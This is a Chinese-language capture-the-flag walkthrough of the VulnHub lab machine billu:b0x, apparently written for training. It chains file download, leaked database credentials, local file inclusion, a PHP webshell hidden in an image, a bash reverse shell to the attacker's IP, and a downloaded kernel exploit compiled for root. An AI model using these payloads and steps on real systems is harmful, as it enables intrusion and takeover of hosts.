vulnhub billu:b0x
知识点
SQLi、目录爆破、数据库操作、文件包含漏洞、提权、反弹shell
解题步骤
nmap扫描有80，22端口
nmap -sV -Pn -T 4 192.168.220.132
访问网页提示sqli，使用万能注入admin' or 'a'='a --，返回js弹窗，可能无法注入
御剑扫描目录有test.php、index.php、c.php、show.php、in.php等
尝试下载文件
发现调用函数file_download($_POST['file']);下载文件，即在test.php页面通过传入file的文件名，可以下载对应的文件。
将其他php文件下载下来，发现c.php文件中包含了mysql的账户密码
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
访问192.168.220.132/phpmyadmin输入账户密码，成功进入
在ica表的auth列中找到后台登录账户和密码
登录index.php，进入http://192.168.220.132/panel.php，发现有show User和Add User,分别对应数据库user表和add.php的样式
添加用户，可以正常上传
右键图片有图片地址，进入查看
在panel.php源码中查看到可能存在本地文件包含漏洞
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
在一个图片后面上传cmd马<?php system($_GET['cmd']); ?>并上传
在panel.php点击continue，修改load位置为上传的图片load=/uploaded_images/1.jpg&continue=continue
成功得到回显
POST /panel.php?cmd=cat%20/etc/passwd;ls查看用户
利用bash反弹shell
echo "bash -i >& /dev/tcp/192.168.220.154/4444 0>&1" | bash
需要转为url
burp发送
监听成功
┌──(root㉿kali)-[/home/kali/桌面]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.220.154] from (UNKNOWN) [192.168.220.132] 58490
bash: no job control in this shell
www-data@indishell:/var/www$
查看系统内核版本，为ubuntu12.04
cat /etc/issue
本地提权漏洞
https://www.exploit-db.com/exploits/37292/
由于菜刀连接失败，使用python开启http服务
python -m http.server 80
在靶机上请求下载
www-data@indishell:/var/www/uploaded_images$ wget http://192.168.220.154/37292.c
</uploaded_images$ wget http://192.168.220.154/37292.c
--2022-04-21 10:50:23-- http://192.168.220.154/37292.c
Connecting to 192.168.220.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: `37292.c'
0K .... 100% 3.50M=0.001s
2022-04-21 10:50:23 (3.50 MB/s) - `37292.c' saved [5119/5119]
下载完成后赋权编译运行
chmod 777 37292.c
gcc 37292.c -o exp
./exp
提权完毕
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
